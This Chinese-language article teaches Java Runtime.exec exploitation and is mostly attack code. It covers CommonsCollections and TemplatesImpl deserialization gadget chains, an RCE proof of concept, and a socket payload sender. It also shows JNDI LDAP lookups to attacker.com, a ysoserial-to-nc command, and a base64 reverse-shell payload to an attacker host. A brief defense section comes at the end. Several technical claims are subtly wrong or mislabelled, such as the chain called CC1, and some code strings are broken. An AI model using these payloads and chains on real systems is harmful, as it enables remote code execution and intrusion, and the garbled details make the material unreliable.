一、Java 命令执行的两种核心方式
Java 中有两种主要的进程创建 API:Runtime.exec() 和 ProcessBuilder。它们底层最终都会调用 native 方法 ProcessImpl.start(),但参数处理和使用场景有显著差异。
1.1 Runtime.exec 方法签名
public class Runtime {
public Process exec(String command) throws IOException;
public Process exec(String[] cmdarray) throws IOException;
public Process exec(String command, String[] envp) throws IOException;
public Process exec(String[] cmdarray, String[] envp) throws IOException;
public Process exec(String command, String[] envp, File dir) throws IOException;
public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException;
}
1.2 ProcessBuilder 方法签名
public final class ProcessBuilder {
public ProcessBuilder(String... command);
public ProcessBuilder(List<String> command);
public Process start() throws IOException;
public ProcessBuilder environment(String[] envp);
public ProcessBuilder directory(File directory);
public ProcessBuilder redirectErrorStream(boolean redirectErrorStream);
}
1.3 关键差异
| 特性 | Runtime.exec() | ProcessBuilder |
|---|---|---|
| 参数传递 | String 自动分割或 String[] | List 或 String[] |
| Shell 解析 | String 形式会被 StringTokenizer 分割 | 不经过 shell |
| 工作目录 | 可选指定 | 可通过 directory() 设置 |
| 环境变量 | 可选传入 | 可通过 environment() 传入 Map |
| 错误流合并 | 不支持 | 支持 redirectErrorStream(true) |
| 链式调用 | 不支持 | 支持 builder pattern |
| Java 版本 | 1.0+ | 1.5+ |
二、Runtime.exec 的 Shell 陷阱
2.1 String 参数的自动分割
// 危险!Runtime.exec(String) 使用 StringTokenizer 分割
Runtime.getRuntime().exec("ping -c 1 -w 5 192.168.1.1");
// 实际命令: ["ping", "-c", "1", "-w", "5", "192.168.1.1"]
// 注意: 特殊字符不会被 shell 解析
Runtime.getRuntime().exec("cat /etc/passwd | grep root");
// 不会按管道解析,而是尝试执行名为 "cat" 的命令,
// 参数为 ["/etc/passwd", "|", "grep", "root"]
// 管道符 "|" 会被当作普通参数
// 要使用 shell,必须显式调用 /bin/sh
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /etc/passwd | grep root"});
2.2 Windows vs Linux
// Linux/Mac
String[] linuxCmd = {"/bin/bash", "-c", "whoami && cat /etc/passwd"};
Runtime.getRuntime().exec(linuxCmd);
// Windows
String[] winCmd = {"cmd.exe", "/c", "whoami & dir C:\"};
Runtime.getRuntime().exec(winCmd);
// 或
Runtime.getRuntime().exec("cmd.exe /c dir C:\");
// 自动检测 OS
String osName = System.getProperty("os.name").toLowerCase();
String[] cmd;
if (osName.contains("win")) {
cmd = new String[]{"cmd.exe", "/c", userInput};
} else {
cmd = new String[]{"/bin/sh", "-c", userInput};
}
Runtime.getRuntime().exec(cmd);
2.3 正确读取命令输出
import java.io.*;
public class SafeExec {
public static String exec(String[] cmd) throws Exception {
Process process = Runtime.getRuntime().exec(cmd);
// 必须同时读取 stdout 和 stderr,否则可能死锁
StringBuilder output = new StringBuilder();
StringBuilder error = new StringBuilder();
Thread t1 = new Thread(() -> {
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("
");
}
} catch (IOException ignored) {}
});
Thread t2 = new Thread(() -> {
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = reader.readLine()) != null) {
error.append(line).append("
");
}
} catch (IOException ignored) {}
});
t1.start();
t2.start();
process.waitFor();
t1.join();
t2.join();
if (error.length() > 0) {
throw new RuntimeException("Error: " + error.toString());
}
return output.toString();
}
public static void main(String[] args) throws Exception {
String[] cmd = {"/bin/bash", "-c", "id"};
System.out.println(exec(cmd));
}
}
三、通过反射获取 Runtime 的多种方式
在反序列化利用链中,反射获取 Runtime 是核心环节。以下是已知的所有方式:
3.1 直接调用(最简单)
// 方式 1: 静态方法直接获取
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("whoami");
3.2 通过反射调用 getRuntime
import java.lang.reflect.Method;
// 方式 2: 反射调用 Runtime 类的方法
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null); // 静态方法传 null
Method execMethod = runtimeClass.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(runtime, "whoami");
3.3 InvokerTransformer 方式(CommonsCollections)
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
// CommonsCollections 利用链中的方式
// InvokerTransformer 会反射调用指定方法
Transformer transformer = new InvokerTransformer(
"exec", // 方法名
new Class[]{String.class}, // 参数类型
new Object[]{"whoami"} // 参数值
);
// 触发点: 调用 transform 时会逐层执行
// ChainedTransformer 链:
Transformer[] chain = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"whoami"})
};
Transformer chained = new ChainedTransformer(chain);
// 触发链式调用
chained.transform(Runtime.class); // 开始触发
3.4 TemplatesImpl 方式(ysoserial CommonsCollections5)
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
// 利用链入口: TemplatesImpl.getOutputProperties()
// 它会调用 _bytecodes 中的恶意类
TemplatesImpl templates = new TemplatesImpl();
// 设置 _name 字段(必须)
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
// 设置 _bytecodes 为恶意类字节码
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{evilClassBytes});
// 设置 _tfactory
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 触发点: readObject -> getOutputProperties() -> defineTransletClasses() -> newInstance()
// 恶意类的静态代码块执行 Runtime.exec
四、反序列化利用链中的 Runtime.exec
4.1 CommonsCollections 完整链路
// ysoserial CommonsCollections1 利用链简化版
// 环境: commons-collections 3.1 - 3.2.1, JDK 1.7
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.PriorityQueue;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
// Step 1: 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
// 获取 Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
// 反射调用 invoke(null) 得到 Runtime 实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
// 反射调用 exec("whoami")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"whoami"}),
// 将结果转为 String(为了满足链式调用)
new ConstantTransformer(1)
};
// Step 2: 构造 ChainedTransformer
Transformer chain = new ChainedTransformer(transformers);
// Step 3: 构造 LazyMap
java.util.Map lazyMap = LazyMap.decorate(new java.util.HashMap(), chain);
// Step 4: 构造 TransformingComparator
TransformingComparator comparator = new TransformingComparator(chain);
// Step 5: 构造 PriorityQueue(入口类)
PriorityQueue queue = new PriorityQueue(2, comparator);
// 添加元素触发 compare()
queue.add("key1");
queue.add("key2");
// Step 6: 序列化发送
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();
byte[] payload = baos.toByteArray();
System.out.println("Payload generated, size: " + payload.length);
// 服务端触发:
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
// ois.readObject(); // RCE!
}
}
4.2 InvocationHandler 利用链
// 利用 Proxy + InvocationHandler 触发
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.io.*;
public class InvocationHandlerExploit {
public static void main(String[] args) throws Exception {
// 自定义 InvocationHandler
InvocationHandler handler = (proxy, method, args1) -> {
if (method.getName().equals("compareTo")) {
// 触发 Runtime.exec
Runtime.getRuntime().exec("whoami");
return 0;
}
return null;
};
// 构造代理对象(需要实现 Comparable)
Object proxy = Proxy.newProxyInstance(
Comparable.class.getClassLoader(),
new Class[]{Comparable.class},
handler
);
// 放入 TreeSet,反序列化时会调用 compareTo()
java.util.TreeSet treeSet = new java.util.TreeSet();
treeSet.add(proxy);
// 序列化...
}
}
4.3 完整反序列化触发流程
ObjectInputStream.readObject()
→ 读取类信息
→ 实例化对象(Unsafe.allocateInstance 或无参构造)
→ 调用私有 readObject() 方法(如果有)
→ PriorityQueue.readObject()
→ 调用 comparator.compare() 进行堆调整
→ TransformingComparator.compare()
→ transformer.transform()
→ ChainedTransformer.transform() (循环调用链中每个 transformer)
→ ConstantTransformer.transform(Runtime.class) → 返回 Runtime.class
→ InvokerTransformer.transform(Runtime.class)
→ Runtime.class.getMethod("getRuntime")
→ method.invoke(null) → Runtime 实例
→ InvokerTransformer.transform(Runtime实例)
→ runtime.exec("whoami") → 执行命令
五、ProcessBuilder 的妙用
5.1 参数注入绕过
// ProcessBuilder 不会经过 shell,所以 | ; $ 都不会被解析
// 但可以通过参数注入到其他命令
// 示例: find 命令注入
ProcessBuilder pb = new ProcessBuilder(
"find", "/", "-name", userInput, "-exec", "cat", "{}", ";"
);
// 如果 userInput 包含恶意参数...
// 更好的方式: Runtime.exec 配合 shell
// 如果只能用 ProcessBuilder,可以通过 sh -c 调用 shell
ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", userInput);
pb.start();
5.2 环境变量注入
// 设置环境变量 PATH 指向恶意目录
Map<String, String> env = new HashMap<>(System.getenv());
env.put("PATH", "/attacker/path:" + env.get("PATH"));
ProcessBuilder pb = new ProcessBuilder("someCommand");
pb.environment().putAll(env);
// 如果 someCommand 在 PATH 中能找到恶意版本...
// LD_PRELOAD 注入(Linux)
env.put("LD_PRELOAD", "/attacker/malicious.so");
Runtime.getRuntime().exec("/bin/true", env.entrySet().toArray(new String[0]));
5.3 工作目录劫持
// 如果应用从工作目录加载文件
ProcessBuilder pb = new ProcessBuilder("./run.sh");
pb.directory(new File("/attacker/")); // 指向恶意目录
pb.start();
六、JNDI + Runtime.exec 高级利用
6.1 JNDI LDAP 远程类加载
// 攻击者端: 启动恶意 LDAP 服务
// 工具: marshalsec, JNDI-Injection-Exploit
// 服务端漏洞代码
InitialContext ctx = new InitialContext();
Object result = ctx.lookup("ldap://attacker.com:1389/Exploit");
// 攻击者提供的恶意类
public class Exploit {
static {
try {
Runtime.getRuntime().exec("whoami");
} catch (Exception e) {}
}
}
// JNDI lookup 会:
// 1. 连接 LDAP 服务器
// 2. 下载恶意类
// 3. 加载并实例化
// 4. 触发静态代码块中的 Runtime.exec
6.2 JNDI RMI 利用
// RMI 注册表暴露
Registry registry = LocateRegistry.getRegistry(targetHost, 1099);
// 如果能注册恶意对象...
// 反序列化 RMI 服务
// ysoserial CommonsCollections payload 可直接打到 RMI 端口
// java -jar ysoserial.jar CommonsCollections1 'whoami' | nc target 1099
6.3 JNDI 绕过高版本限制
JDK 8u191+ / 11.0.1+ 默认禁用了远程类加载。绕过方式:
1. 使用本地 Reference + 远程 Codebase(高版本仍支持)
2. 使用 Tomcat 8 的 JreEnv + GroovyBypass
3. 使用 SNMP + JNDI
4. 降低 JDK 版本(如果有权限)
5. 使用 RMI + 自定义 ClassLoader
# 高版本 JNDI 绕过 Payload 示例
ldap://attacker.com:1389/Basic/Command/Base64/L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjE=
# 这是反弹 shell 的 base64 编码
七、实战:完整 RCE PoC
7.1 反射获取 Runtime 并执行
import java.io.*;
import java.lang.reflect.Method;
public class RuntimeExecPoC {
public static void main(String[] args) throws Exception {
String command = args.length > 0 ? args[0] : "whoami";
// 方式 1: 直接调用
System.out.println("=== 直接调用 ===");
Process p1 = Runtime.getRuntime().exec(command);
printOutput(p1);
// 方式 2: 反射调用
System.out.println("=== 反射调用 ===");
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
Process p2 = (Process) exec.invoke(runtime, new String[]{"/bin/bash", "-c", command});
printOutput(p2);
// 方式 3: ProcessBuilder
System.out.println("=== ProcessBuilder ===");
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", command);
pb.redirectErrorStream(true);
Process p3 = pb.start();
printOutput(p3);
}
private static void printOutput(Process p) throws Exception {
try (BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
p.waitFor();
}
}
7.2 序列化 Payload 生成工具
// 简易序列化工具(需要 CommonsCollections 依赖)
import java.io.*;
public class SerializeHelper {
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
public static Object deserialize(byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
ois.close();
return obj;
}
// 发送到远程服务(Socket 反序列化)
public static void sendTo(String host, int port, byte[] payload) throws Exception {
java.net.Socket socket = new java.net.Socket(host, port);
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
oos.writeObject("");
oos.reset(); // 重要!重置流
oos.writeObject(payload); // 写入恶意 payload
oos.close();
socket.close();
}
}
八、防御
8.1 禁用 Runtime.exec
// SecurityManager 方式(已废弃但仍可配置)
System.setSecurityManager(new SecurityManager() {
@Override
public void checkExec(String cmd) {
throw new SecurityException("Runtime.exec blocked");
}
@Override
public void checkLink(String lib) {
throw new SecurityException("System.load blocked");
}
@Override
public void checkConnect(String host, int port) {
throw new SecurityException("Network blocked");
}
});
// JEP 230: 禁用 JNDI 远程类加载
// java -Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
8.2 反序列化白名单
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED = Set.of(
"com.example.dto.UserDTO",
"com.example.dto.OrderDTO"
);
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
// 拒绝常见危险类
if (className.startsWith("org.apache.commons.collections") ||
className.startsWith("com.sun.org.apache.xalan") ||
className.startsWith("java.lang.Process")) {
throw new IOException("Unauthorized class: " + className);
}
if (!ALLOWED.contains(className)) {
throw new IOException("Unauthorized class: " + className);
}
return super.resolveClass(desc);
}
}
8.3 依赖升级
<!-- pom.xml 升级依赖 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 安全版本 -->
</dependency>
<!-- 或使用 commons-collections4 4.1+ -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
九、总结
Java Runtime.exec 利用的核心技巧:
- 理解 Shell 机制:Runtime.exec(String) 不分 shell,
| ; $不会被解析 - 反射获取:Runtime 是私有单例,必须通过反射链获取
- InvokerTransformer:CC 利用链的核心,反射调用任意方法
- TemplatesImpl:无依赖的利用链(JDK 自带 Xalan)
- JNDI:Log4j 等漏洞的核心,注意高版本绕过
- ProcessBuilder:不会经过 shell,需要
/bin/sh -c配合